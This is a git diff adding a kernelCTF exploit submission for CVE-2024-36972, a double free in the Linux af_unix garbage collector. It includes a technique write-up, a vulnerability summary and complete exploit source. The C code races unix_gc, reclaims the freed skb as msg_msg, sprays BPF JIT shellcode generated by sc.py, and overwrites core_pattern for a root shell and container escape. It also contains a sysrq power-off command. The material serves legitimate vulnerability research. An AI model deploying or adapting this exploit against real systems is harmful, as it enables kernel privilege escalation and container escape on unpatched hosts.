diff --git a/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/docs/exploit.md new file mode 100644 index 00000000..a39c3a36 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/docs/exploit.md @@ -0,0 +1,272 @@ +# Vulnerability +unix_gc() tries to garbage-collect inflight sockets, and then if the socket has MSG_OOB in unix_sk(sk)->oob_skb, GC will drop the reference locklessly. +It will cause race condition in unix_gc[1] while peer unix socket call queue_oob[2]. + +* unix_gc +```c + skb_queue_head_init(&hitlist); + list_for_each_entry(u, &gc_candidates, link) { + scan_children(&u->sk, inc_inflight, &hitlist); + +#if IS_ENABLED(CONFIG_AF_UNIX_OOB) + if (u->oob_skb) { + kfree_skb(u->oob_skb); //[1] + u->oob_skb = NULL; + } +#endif + } + +``` + +* queue_oob +```c + if (ousk->oob_skb) + consume_skb(ousk->oob_skb); //[2] + + WRITE_ONCE(ousk->oob_skb, skb); +``` + + + +# Exploit Tech Detail +The exploit is consist in the following steps +* Prepare timerfd to extend race window +* Prepare refcount circle to make unix_gc free victim unix_socket +* Race between unix_gc with queue_oob +* Reclaim SKB with msg_msg to control destructor +* Call kfree_skb to RIP Control +* Achieve container escape. + +## Prepare timerfd to extend race window +We adopt the exploit tech from `Jann's blog Racing against the clock -- hitting a tiny kernel race window` to extend the race windows +To make race windows larger on kernels without CONFIG_PREEMPT. +* make a timerfd expire in that window (which will run in an interrupt handler - in other words, in hardirq context) +* make sure that the wakeup triggered by the timerfd has to churn through many waitqueue items created by epoll + +So function `do_epoll_enqueue` in our exploit code is to do such thing +```C +void do_epoll_enqueue(int fd) +{ + int cfd[2]; + socketpair(AF_UNIX, SOCK_STREAM, 0, cfd); + for (int k = 0; k < 0x4; k++) + { + if (fork() == 0) + { + for (int i = 0; i < 0x100; i++) + { + timefds[i] = SYSCHK(dup(fd)); + } + for (int i = 0; i < 0xc0; i++) + { + epfds[i] = SYSCHK(epoll_create(0x1)); + } + for (int i = 0; i < 0xc0; i++) + { + for (int j = 0; j < 0x100; j++) + { + // queue as many as possible async waiters at timerfd waitqueue + epoll_ctl_add(epfds[i], timefds[j], 0); + } + } + write(cfd[1], buf, 1); + raise(SIGSTOP); // stop here for nothing and just keep epoll alive + } + // sync to make sure it has queue what we need + read(cfd[0], buf, 1); + } + close(cfd[0]); + close(cfd[1]); +} +``` + +## Race between unix_gc with queue_oob + +sk_buff's refcount is named as users. When sk_buff will be freed if users==1 while calling kfree_skb. +Unix socket oob_skb's users has two. One is for stored in unix_sock->oob_skb and another is for sock->sk_receive_queue. +We use two threads to cause race between unix_gx and queue_oob in the following condition. + +``` +Thread A | Thread B +------------------------------------------------------- +queue_oob //users==2 unix_gc +consume_skb //users 2 -> 1 + if (u->oob_skb) //users == 1 + kfree_skb(u->oob_skb) // free skb +WRITE_ONCE(ousk->oob_skb, skb) + + unix_release_sock + skb = skb_dequeue(&sk->sk_receive_queue) + kfree_skb(skb); //skb UAF +``` + +## Reclaim SKB with msg_msg to control destructor + +With cross-cache tech, we can reclaim victim skb as msg_msg like following example code. + +* Allocate a lot skbs between victim +```c + // Allocate some sk_buff before oob_skb + for (int i = 0; i < 0x200; i++) + SYSCHK(send(datafd[1], buf, 1, 0)); + + SYSCHK(send(victim_fd[1], buf, 1, MSG_OOB)); + + // Allocate some sk_buff after oob_skb + for (int i = 0; i < 0x200; i++) + SYSCHK(send(datafd[0], buf, 1, 0)); + +``` + +* Free them all and reclaim as msg_msg +```c + // free all skbs + for (int i = 0; i < 0x200; i++) + SYSCHK(recv(datafd[0], buf, 1, 0)); + + // free all skbs + for (int i = 0; i < 0x200; i++) + SYSCHK(recv(datafd[1], buf, 1, 0)); + + // cross-cache to reclaim oob_skb as msg_msg + for (int i = 0; i < 0x1000; i++) + SYSCHK(msgsnd(msqid[i], &msg, 0x100 - 0x30, 0)); +``` + +* Forge skb to make users equal to one and destructor as the address we want to jump to + +```c + char *skb = (void *)&msg.mtext[-0x30]; + + // struct sk_buff { + // void (*destructor)(struct sk_buff *); /* 96 8 */ + // refcount_t users; /* 220 4 */ +#define OFFSET_SKB_DESTRUCTOR 96 +#define OFFSET_SKB_USERS 220 + *(size_t *)(skb + OFFSET_SKB_DESTRUCTOR) = 0xffffffffcc000000 - 0x800; + *(unsigned *)(skb + OFFSET_SKB_USERS) = 1; +``` + +## RIP Control +We set `skb->destructor` to guessed ebpf JIT address. + +```c +void skb_release_head_state(struct sk_buff *skb) +{ + skb_dst_drop(skb); + if (skb->destructor) { + DEBUG_NET_WARN_ON_ONCE(in_hardirq()); + skb->destructor(skb); + } +``` + + +## Achieve container escape +### Spray eBPF programs +Our goal is to do some eBPF JIT spraying so later when we control kernel RIP, it will jump to the JIT page and execute our shellcode. + +Linux kernel provide a socket option `SO_ATTACH_FILTER` and let user to attach a classic BPF program to the socket for use as a filter of incoming packets. + +By creating lots of sockets and attach to classic BPF program, we can spray a lot of eBPF programs in kernel. +```cpp + struct sock_fprog prog = { + .len = TSIZE, + .filter = filter, + }; + for(int i=0;i 1) + { + // #define SYS_pidfd_getfd 438 + int pid = strtoull(argv[1], 0, 10); + int pfd = syscall(SYS_pidfd_open, pid, 0); + int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0); + int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0); + int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0); + dup2(stdinfd, 0); + dup2(stdoutfd, 1); + dup2(stderrfd, 2); + /* Get flag and poweroff immediately to boost next round try in PR verification workflow*/ + system("cat /flag;echo o>/proc/sysrq-trigger"); + execlp("bash", "bash", NULL); + } +``` \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/docs/vulnerability.md new file mode 100644 index 00000000..4dbab7d5 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/docs/vulnerability.md @@ -0,0 +1,15 @@ +- Requirements: + - Capabilites: None + - Kernel configuration: CONFIG_AF_UNIX_OOB + - User namespaces required: No +- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=1279f9d9dec2d7462823a18c29ad61359e0a007d +- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9841991a446c87f90f66f4b9fee6fe934c1336a2 +- Affected kernel versions: v6.8 - v6.9, v5.15.147, v6.1.78, v6.6.17 +- Affected component: af_unix +- Syscall to disable: socket +- URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-36972 +- Cause: Double Free +- Description: A double free vulnerability in the Linux kernel's af_unix. __unix_gc() tries to garbage-collect close()d inflight sockets, +and then if the socket has MSG_OOB in unix_sk(sk)->oob_skb, GC will drop the reference and set NULL to it locklessly. +However, the peer socket still can send MSG_OOB messages and queue_oob() can update unix_sk(sk)->oob_skb concurrently, leading double free. +We recommend upgrading past commit 9841991a446c87f90f66f4b9fee6fe934c1336a2 \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/exploit/cos-109-17800.218.20/Makefile b/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/exploit/cos-109-17800.218.20/Makefile new file mode 100644 index 00000000..b7fcec07 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/exploit/cos-109-17800.218.20/Makefile @@ -0,0 +1,14 @@ +all: exploit + +exploit: poc.c sc.h + gcc poc.c -o exploit -static -pthread + +sc.h: sc.py + python3 sc.py > sc.h + +install: poc + scp poc vm: + ssh vm ./poc +clean: + rm poc sc.h + diff --git a/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/exploit/cos-109-17800.218.20/exploit b/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/exploit/cos-109-17800.218.20/exploit new file mode 100755 index 00000000..c5323028 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/exploit/cos-109-17800.218.20/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/exploit/cos-109-17800.218.20/poc.c b/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/exploit/cos-109-17800.218.20/poc.c new file mode 100644 index 00000000..69291d56 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/exploit/cos-109-17800.218.20/poc.c @@ -0,0 +1,381 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#ifndef SYS_pidfd_getfd +#define SYS_pidfd_getfd 438 +#endif +#define SYSCHK(x) \ + ({ \ + typeof(x) __res = (x); \ + if (__res == (typeof(x))-1) \ + err(1, "SYSCHK(" #x ")"); \ + __res; \ + }) + +#define PAUSE \ + { \ + printf(":"); \ + int x; \ + read(0, &x, 1); \ + } + +int count = 200; +char buf[0x1000]; +char send_buf[0x1000]; +char recv_buf[0x1000]; +int timefds[0x1000]; +int epfds[0x1000]; +int tfd; +int tfd2; +pid_t childs[0x10]; +pthread_barrier_t barr; +struct sock_filter filter[0x1000]; + +struct +{ + long mtype; + char mtext[0x2000]; +} msg; + +int msqid[0x4000]; + +static void barrier(void) +{ + int ret = pthread_barrier_wait(&barr); + + assert(!ret || ret == PTHREAD_BARRIER_SERIAL_THREAD); +} + +void set_cpu(int i) +{ + cpu_set_t mask; + CPU_ZERO(&mask); + CPU_SET(i, &mask); + sched_setaffinity(0, sizeof(mask), &mask); +} + +int send_fd(int ufd, int fd) +{ + struct msghdr msg = {}; + struct iovec iov[] = {{.iov_base = buf, .iov_len = 1}}; + msg.msg_iov = iov; + msg.msg_iovlen = 1; + struct cmsghdr *cmsg; + int len = CMSG_LEN(sizeof(int) * 1); + memset(send_buf, 0, 0x1000); + cmsg = (void *)send_buf; + cmsg->cmsg_len = len; + cmsg->cmsg_level = SOL_SOCKET; + cmsg->cmsg_type = SCM_RIGHTS; + msg.msg_control = cmsg; + msg.msg_controllen = len; + *(int *)CMSG_DATA(cmsg) = fd; + while (sendmsg(ufd, &msg, 0) < 0) + ; +} + +int recv_fd(int ufd) +{ + struct msghdr msg = {}; + struct iovec iov[] = {{.iov_base = buf, .iov_len = 1}}; + msg.msg_iov = iov; + msg.msg_iovlen = 1; + struct cmsghdr *cmsg; + int len = CMSG_LEN(sizeof(int) * 1); + memset(recv_buf, 0, 0x1000); + cmsg = (void *)recv_buf; + cmsg->cmsg_len = len; + cmsg->cmsg_level = SOL_SOCKET; + cmsg->cmsg_type = SCM_RIGHTS; + msg.msg_control = cmsg; + msg.msg_controllen = len; + SYSCHK(recvmsg(ufd, &msg, 0)); + return *(int *)CMSG_DATA(cmsg); +} + +static void epoll_ctl_add(int epfd, int fd, uint32_t events) +{ + struct epoll_event ev; + ev.events = events; + ev.data.fd = fd; + SYSCHK(epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &ev)); +} + +static void do_epoll_enqueue(int fd, int f) +{ + int cfd[2]; + socketpair(AF_UNIX, SOCK_STREAM, 0, cfd); + for (int k = 0; k < f; k++) + { + childs[k] = fork(); + if (childs[k] == 0) + { + for (int i = 0; i < 0x100; i++) + { + timefds[i] = SYSCHK(dup(fd)); + } + for (int i = 0; i < 0xc0; i++) + { + epfds[i] = SYSCHK(epoll_create(0x1)); + } + for (int i = 0; i < 0xc0; i++) + { + for (int j = 0; j < 0x100; j++) + { + epoll_ctl_add(epfds[i], timefds[j], 0); + } + } + write(cfd[1], buf, 1); + raise(SIGSTOP); + } + read(cfd[0], buf, 1); + } +} + +void *race_unix_gc(void *x) +{ + struct itimerspec new = {.it_value.tv_nsec = 10000000}; + set_cpu(1); + while (1) + { + barrier(); + SYSCHK(timerfd_settime(tfd2, TFD_TIMER_CANCEL_ON_SET, &new, + NULL)); + usleep(1000); + + // trigger unix_gc + close(SYSCHK(socket(AF_UNIX, SOCK_STREAM, 0))); + + barrier(); + } +} + +int sc(void) +{ + int stopfd[2]; + SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, stopfd)); + unsigned int prog_len = 0x900; + /* In current environment, the max instructions in a program is near 0x900 + And we test 0x900 instructions * 0x50 forks * 0x100 sockets * 4 = 180 MB is enough large to spray and worked reliably + */ + struct sock_filter table[] = { + {.code = BPF_LD + BPF_K, .k = 0xb3909090}, + {.code = BPF_RET + BPF_K, .k = SECCOMP_RET_ALLOW}}; + + /* 0xb3909090 is NOPsled shellclode to make exploitation more reliable +90 nop +90 nop +90 nop +b3 b8 mov bl, 0xb8 +*/ + for (int i = 0; i < prog_len; i++) + filter[i] = table[0]; + + filter[prog_len - 1] = table[1]; + int idx = prog_len - 2; + +#include "sc.h" + + struct sock_fprog prog = { + .len = prog_len, + .filter = filter, + }; + int fd[2]; + for (int k = 0; k < 0x50; k++) + { + if (fork() == 0) // use fork to bypass RLIMIT_NOFILE limit. + { + close(stopfd[1]); + for (int i = 0; i < 0x100; i++) + { + SYSCHK(socketpair(AF_UNIX, SOCK_DGRAM, 0, fd)); + SYSCHK(setsockopt(fd[0], SOL_SOCKET, + SO_ATTACH_FILTER, &prog, + sizeof(prog))); + } + write(stopfd[0], buf, 1); + read(stopfd[0], buf, 1); + exit(0); + } + } + /* wait for all forks to finish spraying BPF code */ + read(stopfd[1], buf, 0x50); +} +int check_core() +{ + // Check if /proc/sys/kernel/core_pattern has been overwritten + char buf[0x100] = {}; + int core = open("/proc/sys/kernel/core_pattern", O_RDONLY); + read(core, buf, sizeof(buf)); + close(core); + return strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0; +} +void crash(char *cmd) +{ + int memfd = memfd_create("", 0); + SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff)); + dup2(memfd, 666); + close(memfd); + while (check_core() == 0) + sleep(1); + puts("Root shell !!"); + /* Trigger program crash and cause kernel to executes program from core_pattern which is our "root" binary */ + *(size_t *)0 = 0; +} + +int main(int argc, char **argv) +{ + + if (argc > 1) + { + // #define SYS_pidfd_getfd 438 + int pid = strtoull(argv[1], 0, 10); + int pfd = syscall(SYS_pidfd_open, pid, 0); + int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0); + int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0); + int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0); + dup2(stdinfd, 0); + dup2(stdoutfd, 1); + dup2(stderrfd, 2); + /* Get flag and poweroff immediately to boost next round try in PR verification workflow*/ + system("cat /flag;echo o>/proc/sysrq-trigger"); + execlp("bash", "bash", NULL); + } + if (fork() == 0) // this process is used to trigger core_pattern exploit + { + set_cpu(1); + setsid(); + crash(""); + } + struct rlimit rlim = {.rlim_cur = 0xf000, .rlim_max = 0xf000}; + setrlimit(RLIMIT_NOFILE, &rlim); + + setvbuf(stdout, 0, 2, 0); + setvbuf(stderr, 0, 2, 0); + // Ignore SIGPIPE + signal(SIGPIPE, SIG_IGN); + pthread_barrier_init(&barr, NULL, 2); + char *core = + (void *)mmap((void *)0xa00000, 0x2000, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_FIXED | MAP_ANON, -1, 0); + strcpy(core, + "|/proc/%P/fd/666 %P"); // put payload string into known address which will used by ebpf shellcode + + sc(); // spray ebpf program. + tfd = SYSCHK(timerfd_create(CLOCK_MONOTONIC, 0)); + do_epoll_enqueue(tfd, 4); + tfd2 = SYSCHK(timerfd_create(CLOCK_MONOTONIC, 0)); + do_epoll_enqueue(tfd2, 8); + + int datafd[2]; + SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, datafd)); + + size_t val = 0x400000; + SYSCHK(SYSCHK(setsockopt(datafd[1], SOL_SOCKET, SO_SNDBUF, &val, 4))); + SYSCHK(SYSCHK(setsockopt(datafd[0], SOL_SOCKET, SO_RCVBUF, &val, 4))); + + SYSCHK(SYSCHK(setsockopt(datafd[1], SOL_SOCKET, SO_RCVBUF, &val, 4))); + SYSCHK(SYSCHK(setsockopt(datafd[0], SOL_SOCKET, SO_SNDBUF, &val, 4))); + + for (int i = 0; i < 0x4000; i++) + { + msqid[i] = SYSCHK(msgget(IPC_PRIVATE, 0644 | IPC_CREAT)); + } + + msg.mtype = 1; + char *skb = (void *)&msg.mtext[-0x30]; + + // struct sk_buff { + // void (*destructor)(struct sk_buff *); /* 96 8 */ + // refcount_t users; /* 220 4 */ +#define OFFSET_SKB_DESTRUCTOR 96 +#define OFFSET_SKB_USERS 220 + *(size_t *)(skb + OFFSET_SKB_DESTRUCTOR) = 0xffffffffcc000000 - 0x800; + *(unsigned *)(skb + OFFSET_SKB_USERS) = 1; + + pthread_t tid; + pthread_create(&tid, 0, race_unix_gc, 0); + set_cpu(0); + count = 20000; + + while (1) + { + count += 1; + printf("\r%010d", count); + if (count > 1000000) + { + count = 20000; + } + struct itimerspec new = {.it_value.tv_nsec = count}; + int victim_fd[2]; + SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, victim_fd)); + + // Allocate some sk_buff before oob_skb + for (int i = 0; i < 0x200; i++) + SYSCHK(send(datafd[1], buf, 1, 0)); + + SYSCHK(send(victim_fd[1], buf, 1, MSG_OOB)); + + // Allocate some sk_buff after oob_skb + for (int i = 0; i < 0x200; i++) + SYSCHK(send(datafd[0], buf, 1, 0)); + + send_fd(victim_fd[1], victim_fd[0]); + close(victim_fd[0]); + + barrier(); + SYSCHK(timerfd_settime(tfd, TFD_TIMER_CANCEL_ON_SET, &new, + NULL)); + // race to call queue_oob + send(victim_fd[1], buf, 1, MSG_OOB); + + // free all skbs + for (int i = 0; i < 0x200; i++) + SYSCHK(recv(datafd[0], buf, 1, 0)); + + // free all skbs + for (int i = 0; i < 0x200; i++) + SYSCHK(recv(datafd[1], buf, 1, 0)); + + // cross-cache to reclaim oob_skb as msg_msg + for (int i = 0; i < 0x1000; i++) + SYSCHK(msgsnd(msqid[i], &msg, 0x100 - 0x30, 0)); + + barrier(); + + for (int i = 0; i < 0x1000; i++) + SYSCHK(msgrcv(msqid[i], &msg, 0x100 - 0x30, 1, 0)); + + close(victim_fd[1]); + } +} diff --git a/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/exploit/cos-109-17800.218.20/sc.h b/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/exploit/cos-109-17800.218.20/sc.h new file mode 100644 index 00000000..12843c36 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/exploit/cos-109-17800.218.20/sc.h @@ -0,0 +1,51 @@ +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90d0ff}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c14e7c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c70b740}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90ff31}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cf02948}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c60b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3ccbb640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c67b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c00b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90f631}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c909058}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90d0ff}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c909050}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c9030b2}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90d231}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c10e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3ca0b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90f631}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cd08948}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cf22948}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c20b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c1cb640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c10b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c02b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90f631}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cd78948}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cf20148}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c60b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3ca9b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c5bb640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c01b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90f631}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cc20148}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3ce2d348}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c9020b1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90c931}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90320f}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c9082b1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c18e1c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90c0b1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90d231}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90c931}; diff --git a/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/exploit/cos-109-17800.218.20/sc.py b/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/exploit/cos-109-17800.218.20/sc.py new file mode 100644 index 00000000..5e6f9c77 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/exploit/cos-109-17800.218.20/sc.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python3 + +from pwn import * +import struct + +entry_syscall = 0xffffffff82400080 +core_pattern = 0xffffffff839ba9e0 +copy_from_user = 0xffffffff818b8dc0 +msleep = 0xffffffff8123c260 + +off1 = entry_syscall-core_pattern +off2 = core_pattern-copy_from_user +off3 = copy_from_user-msleep +ins = ["sub", "add"] + +context.arch = 'amd64' + +ASM=f""" +; do rdmsr(MSR_LSTAR) so EDX and EAX will contain address of entry_SYSCALL_64 +; ECX should be MSR_LSTAR ( 0xc0000082 ) +xor ecx, ecx +xor edx, edx +mov cl, 0xc0 +shl ecx, 24 +mov cl, 0x82 +rdmsr +; make rdx = entry_SYSCALL_64's address +xor ecx, ecx +mov cl, 32 +shl rdx, cl +add rdx, rax +; entry_SYSCALL_64 + 0x15a68e0 = core_pattern +; move core_pattern to rdi ( 1st arg ) +xor esi,esi +mov sil, {(abs(off1)>>24)&0xff} +shl esi, 8 +mov sil, {(abs(off1)>>16)&0xff} +shl esi, 8 +mov sil, {(abs(off1)>>8)&0xff} +shl esi, 8 +mov sil, {(abs(off1))&0xff} +{ins[off1<0]} rdx, rsi +mov rdi, rdx +; core_pattern - 0x1fe7cc0 = copy_from_user +; move copy_from_user to rax +xor esi,esi +mov sil, {(abs(off2)>>24)&0xff} +shl esi, 8 +mov sil, {(abs(off2)>>16)&0xff} +shl esi, 8 +mov sil, {(abs(off2)>>8)&0xff} +shl esi, 8 +mov sil, {(abs(off2))&0xff} +{ins[off2<0]} rdx, rsi +mov rax, rdx +; call copy_from_user(core_pattern, user_buf, 0x30); +; user_buf = 0xa00000 = "|/proc/%P/fd/666" +xor esi, esi +mov sil,0xa0 +shl esi,16 +xor edx,edx +mov dl,0x30 +push rax +call rax +pop rax +; copy_from_user - 0x63f6d0 = msleep +xor esi, esi +mov sil, {(abs(off3)>>24)&0xff} +shl esi, 8 +mov sil, {(abs(off3)>>16)&0xff} +shl esi, 8 +mov sil, {(abs(off3)>>8)&0xff} +shl esi, 8 +mov sil, {(abs(off3))&0xff} +{ins[off3<0]} rax, rsi +; move 0x7000000 to rdi ( 1st arg ) +xor edi,edi +mov dil,0x70 +shl edi,20 +call rax +""" +def toi(data): + assert len(data) == 4 + return struct.unpack(' sc.h + +install: poc + scp poc vm: + ssh vm ./poc +clean: + rm poc sc.h + diff --git a/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/exploit/lts-6.6.28/exploit b/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/exploit/lts-6.6.28/exploit new file mode 100755 index 00000000..80aac30d Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/exploit/lts-6.6.28/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/exploit/lts-6.6.28/poc.c b/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/exploit/lts-6.6.28/poc.c new file mode 100644 index 00000000..2ffd9ec9 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/exploit/lts-6.6.28/poc.c @@ -0,0 +1,381 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#ifndef SYS_pidfd_getfd +#define SYS_pidfd_getfd 438 +#endif +#define SYSCHK(x) \ + ({ \ + typeof(x) __res = (x); \ + if (__res == (typeof(x))-1) \ + err(1, "SYSCHK(" #x ")"); \ + __res; \ + }) + +#define PAUSE \ + { \ + printf(":"); \ + int x; \ + read(0, &x, 1); \ + } + +int count = 200; +char buf[0x1000]; +char send_buf[0x1000]; +char recv_buf[0x1000]; +int timefds[0x1000]; +int epfds[0x1000]; +int tfd; +int tfd2; +pid_t childs[0x10]; +pthread_barrier_t barr; +struct sock_filter filter[0x1000]; + +struct +{ + long mtype; + char mtext[0x2000]; +} msg; + +int msqid[0x4000]; + +static void barrier(void) +{ + int ret = pthread_barrier_wait(&barr); + + assert(!ret || ret == PTHREAD_BARRIER_SERIAL_THREAD); +} + +void set_cpu(int i) +{ + cpu_set_t mask; + CPU_ZERO(&mask); + CPU_SET(i, &mask); + sched_setaffinity(0, sizeof(mask), &mask); +} + +int send_fd(int ufd, int fd) +{ + struct msghdr msg = {}; + struct iovec iov[] = {{.iov_base = buf, .iov_len = 1}}; + msg.msg_iov = iov; + msg.msg_iovlen = 1; + struct cmsghdr *cmsg; + int len = CMSG_LEN(sizeof(int) * 1); + memset(send_buf, 0, 0x1000); + cmsg = (void *)send_buf; + cmsg->cmsg_len = len; + cmsg->cmsg_level = SOL_SOCKET; + cmsg->cmsg_type = SCM_RIGHTS; + msg.msg_control = cmsg; + msg.msg_controllen = len; + *(int *)CMSG_DATA(cmsg) = fd; + while (sendmsg(ufd, &msg, 0) < 0) + ; +} + +int recv_fd(int ufd) +{ + struct msghdr msg = {}; + struct iovec iov[] = {{.iov_base = buf, .iov_len = 1}}; + msg.msg_iov = iov; + msg.msg_iovlen = 1; + struct cmsghdr *cmsg; + int len = CMSG_LEN(sizeof(int) * 1); + memset(recv_buf, 0, 0x1000); + cmsg = (void *)recv_buf; + cmsg->cmsg_len = len; + cmsg->cmsg_level = SOL_SOCKET; + cmsg->cmsg_type = SCM_RIGHTS; + msg.msg_control = cmsg; + msg.msg_controllen = len; + SYSCHK(recvmsg(ufd, &msg, 0)); + return *(int *)CMSG_DATA(cmsg); +} + +static void epoll_ctl_add(int epfd, int fd, uint32_t events) +{ + struct epoll_event ev; + ev.events = events; + ev.data.fd = fd; + SYSCHK(epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &ev)); +} + +static void do_epoll_enqueue(int fd, int f) +{ + int cfd[2]; + socketpair(AF_UNIX, SOCK_STREAM, 0, cfd); + for (int k = 0; k < f; k++) + { 